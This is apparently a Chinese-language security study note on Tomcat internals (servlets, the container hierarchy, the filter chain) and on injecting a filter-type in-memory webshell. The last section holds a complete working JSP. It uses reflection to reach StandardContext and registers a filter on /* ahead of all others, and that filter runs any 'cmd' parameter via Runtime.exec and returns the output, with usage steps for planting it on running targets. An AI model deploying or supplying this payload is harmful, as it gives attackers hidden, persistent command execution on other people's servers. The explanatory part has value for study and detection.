JAVA基于tomcat的内存马--filter
0x00：前言
好记性不如烂笔头
0x01：Tomcat简介
Tomcat 是一种Web应用服务器，是一个Servlet/JSP容器。Tomcat 作为Servlet容器，负责处理客户请求，把请求传送给Servlet，并将Servlet的响应传送回给客户。而Servlet是一种运行在支持Java语言的服务器上的组件。 Servlet最常见的用途是扩展Java Web服务器功能，提供非常安全的、可移植的、易于使用的CGI替代品.
Servlet
Servlet 是一种处理请求和发送响应的程序，Servlet是为了解决动态页面而衍生的东西
如何使用：
创建一个MyServlet继承HttpServlet，重写doGet和doPost方法，也就是看请求的方式是get还是post，然后用不同的处理方式来处理请求，
一个简单的demo：
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
public class demo extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) {
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
response.getWriter().write("Test Servlet");
}
}
写完具体实现后，还需要在web.xml中注明servlet的路径，将路由对应到类
<servlet-name>demo</servlet-name>
<servlet-class>com.test.servlet.demo</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>demo</servlet-name>
<url-pattern>/demo</url-pattern>
</servlet-mapping>
此时访问如下链接即可访问到servlet
http://localhost:8080/StuWeb_war_exploded/demo
Tomcat 与 Servlet 的关系
Tomcat 是 Web 应用服务器，是一个 Servlet/JSP 容器，Tomcat 作为 Servlet 的容器，能够将用户的请求发送给 Servlet，并且将 Servlet 的响应返回给用户，Tomcat中有四种类型的Servlet容器，从上到下分别是 Engine、Host、Context、Wrapper
- Engine，实现类为 org.apache.catalina.core.StandardEngine
- Host，实现类为 org.apache.catalina.core.StandardHost
- Context，实现类为 org.apache.catalina.core.StandardContext
- Wrapper，实现类为 org.apache.catalina.core.StandardWrapper
每个Wrapper实例表示一个具体的Servlet定义，StandardWrapper是Wrapper接口的标准实现类（StandardWrapper 的主要任务就是载入Servlet类并且进行实例化）
Tomcat 容器
在 Tomcat 中，每个 Host 下可以有多个 Context （Context 是 Host 的子容器）， 每个 Context 都代表一个具体的Web应用，都有一个唯一的路径就相当于下图中的 /shop /manager 这种，在一个 Context 下可以有着多个 Wrapper
Wrapper 主要负责管理 Servlet ，包括的 Servlet 的装载、初始化、执行以及资源回收
0x02：内存马简介
内存马主要分为以下几类：
- servlet-api类
- filter型
- servlet型
- listener
- spring类
- 拦截器
- controller型
- Java Instrumentation类
- agent型
本文只讲Filter型的内存马
filter
filter (过滤器)，我们可以通过自定义过滤器来做到对用户的一些请求进行拦截修改等操作，下面是一张简单的流程图
从上图可以看出，我们的请求会先经过 所有的filter 之后才会到 Servlet ，那么如果我们动态创建一个 filter 并且将其放在最前面，我们的 filter 就会最先执行，当我们在 filter 中添加恶意代码，就会进行命令执行，这样也就成为了一个内存 Webshell
所以我们的目标是：动态注册恶意 Filter，并且将其放到 最前面
为什么要动态注册呢，因为我们在实战中，java程序一定是已经运行的，也就是目标业务是在运行状态的，此时注入内存马，肯定不能重启业务添加恶意代码，所以我们需要动态注册Filter。
我们使用上面的servlet /demo
自定义filter：
import javax.servlet.*;
import java.io.IOException;
public class demoFilter implements Filter {
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("Filter 初始化创建");
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
servletResponse.getWriter().write("filter ");
filterChain.doFilter(servletRequest,servletResponse);
}
public void destroy() {}
}
在web.xml配置过滤器
<filter-name>demoFilter</filter-name>
<filter-class>com.test.servlet.demoFilter</filter-class>
<init-param>
<param-name>encoding</param-name>
<param-value>UTF-8</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name>demoFilter</filter-name>
<url-pattern>/demo</url-pattern>
</filter-mapping>
此时filter中的代码便会优先于servlet执行
在具体分析流程之前我们先介绍一下后面会遇到的几个类：（最后再来分析一下
FilterDefs：存放FilterDef的数组 ，FilterDef 中存储着我们过滤器名，过滤器实例，作用 url 等基本信息
FilterConfigs：存放filterConfig的数组，在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
FilterMaps：存放FilterMap的数组，在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
FilterChain：过滤器链，该对象上的 doFilter 方法能依次调用链上的 Filter
WebXml：存放 web.xml 中内容的类
ContextConfig：Web应用的上下文配置类
StandardContext：Context接口的标准实现类，一个 Context 代表一个 Web 应用，其下可以包含多个 Wrapper
StandardWrapperValve：一个 Wrapper 的标准实现类，一个 Wrapper 代表一个Servlet
接下来我们来分析一下 Tomcat 中是如何将我们自定义的 filter 进行设置并且调用的
首先会通过 configureContext 解析 web.xml 然后返回 webXml 实例
在 StandardWrapperValve 中会利用 ApplicationFilterFactory 来创建filterChain（filter链），我们跟进这个方法
这里首先会调用 getParent 获取当前 Context （即当前 Web应用），然后会从 Context 中获取到 filterMaps
filterMaps中的 filterMap 主要存放了过滤器的名字以及作用的 url，继续往下看
发现会遍历 FilterMaps 集合中的 FilterMap，如果发现符合当前请求 url 与 FilterMap 中的 urlPattern 匹配，就会进入 if 判断会调用 findFilterConfig 方法在 filterConfigs 中寻找对应 filterName名称的 FilterConfig，然后如果不为null，就进入 if 判断，将 filterConfig 添加到 filterChain中，跟进addFilter函数
在addFilter函数中首先会遍历filters，判断我们的filter是否已经存在（其实就是去重）
下面这个 if 判断其实就是扩容，如果 n 已经等于当前 filters 的长度了就再添加10个容量，最后将我们的filterConfig 添加到 filters中
至此 filterChain 组装完毕，重新回到 StandardContextValue 中，调用 filterChain 的 doFilter 方法 ，就会依次调用 Filter 链上的 doFilter方法
我们跟进org.apache.catalina.core.ApplicationFilterChain的doFilter方法中，它其实时调用了internalDoFilter，直接看internalDoFilter
这里做一个简单的总结：
- 根据请求的 URL 从 FilterMaps 中找出与之 URL 对应的 Filter 名称，因为FilterMaps中只有url和过滤器名
- 根据 Filter 名称去 FilterConfigs 中寻找对应名称的 FilterConfig
- 找到对应的 FilterConfig 之后添加到 FilterChain中，并且返回 FilterChain
- filterChain 中调用 internalDoFilter 遍历获取 chain 中的 FilterConfig ，然后从 FilterConfig 中获取 Filter，然后调用 Filter 的 doFilter 方法
根据上面的简单总结，不难发现最开始是从 context 中获取的 FilterMaps，将符合条件的依次按照顺序进行调用，那么我们可以将自己创建的一个 FilterMap 然后将其放在 FilterMaps 的最前面，这样当 urlpattern 匹配的时候就回去找到对应 FilterName 的 FilterConfig ，然后添加到 FilterChain 中，最终触发我们的内存shell
0x03：Filter型内存马注入
本质上其实就是Filter中接受执行参数，但是如果我们在现实情况中需要动态的将该Filter给添加进去。
由前面Filter实例存储分析得知 StandardContext Filter实例存放在filterConfigs、filterDefs、filterConfigs这三个变量里面，将fifter添加到这三个变量中即可将内存马打入。那么如何获取到StandardContext 成为了问题的关键。
获取context方法：
将 ServletContext 转为 StandardContext 从而获取 context，当 Web 容器启动的时候会为每个 Web 应用都创建一个 ServletContext 对象，代表当前 Web 应用
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
// ApplicationContext 为 ServletContext 的实现类
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
// 这样我们就获取到了 context
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
FilterDefs：存放FilterDef的数组 ，FilterDef 中存储着我们过滤器名，过滤器实例，作用 url 等基本信息
filterConfigs：存放filterConfig的数组，在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
filterMaps：一个存放FilterMap的数组，在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
创建流程
- 创建一个恶意 Filter
- 利用 FilterDef 对 Filter 进行一个封装
- 将 FilterDef 添加到 FilterDefs 和 FilterConfig
- 创建 FilterMap ，将我们的 Filter 和 urlpattern 相对应，存放到 filterMaps中（由于 Filter 生效会有一个先后顺序，所以我们一般都是放在最前面，让我们的 Filter 最先触发）
如下：
<%@ page import = "org.apache.catalina.Context" %>
<%@ page import = "org.apache.catalina.core.ApplicationContext" %>
<%@ page import = "org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import = "org.apache.catalina.core.StandardContext" %>
<page import = "org.apache.tomcat.util.descriptor.web.FilterMap"
page import = "org.apache.tomcat.util.descriptor.web.FilterDef" >
<%@ page import = "javax.servlet.*" %>
<%@ page import = "javax.servlet.annotation.WebServlet" %>
<%@ page import = "javax.servlet.http.HttpServlet" %>
<%@ page import = "javax.servlet.http.HttpServletRequest" %>
<%@ page import = "javax.servlet.http.HttpServletResponse" %>
<%@ page import = "java.io.IOException" %>
<%@ page import = "java.lang.reflect.Constructor" %>
<%@ page import = "java.lang.reflect.Field" %>
<%@ page import = "java.lang.reflect.InvocationTargetException" %>
<%@ page import = "java.util.Map" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<!-- 1 revise the import class with correct tomcat version -->
<!-- 2 request this jsp file -->
<!-- 3 request xxxx/this file/../?cmdc=calc -->
<%
class DefaultFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
//
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
public void destroy() {}
}
%>
<%
String name = "DefaultFilter";
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){
DefaultFilter filter = new DefaultFilter();
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);
out.write("Inject success!");
}
else{
out.write("Injected");
}
%>
0x04：参考
http://wjlshare.com/archives/1529
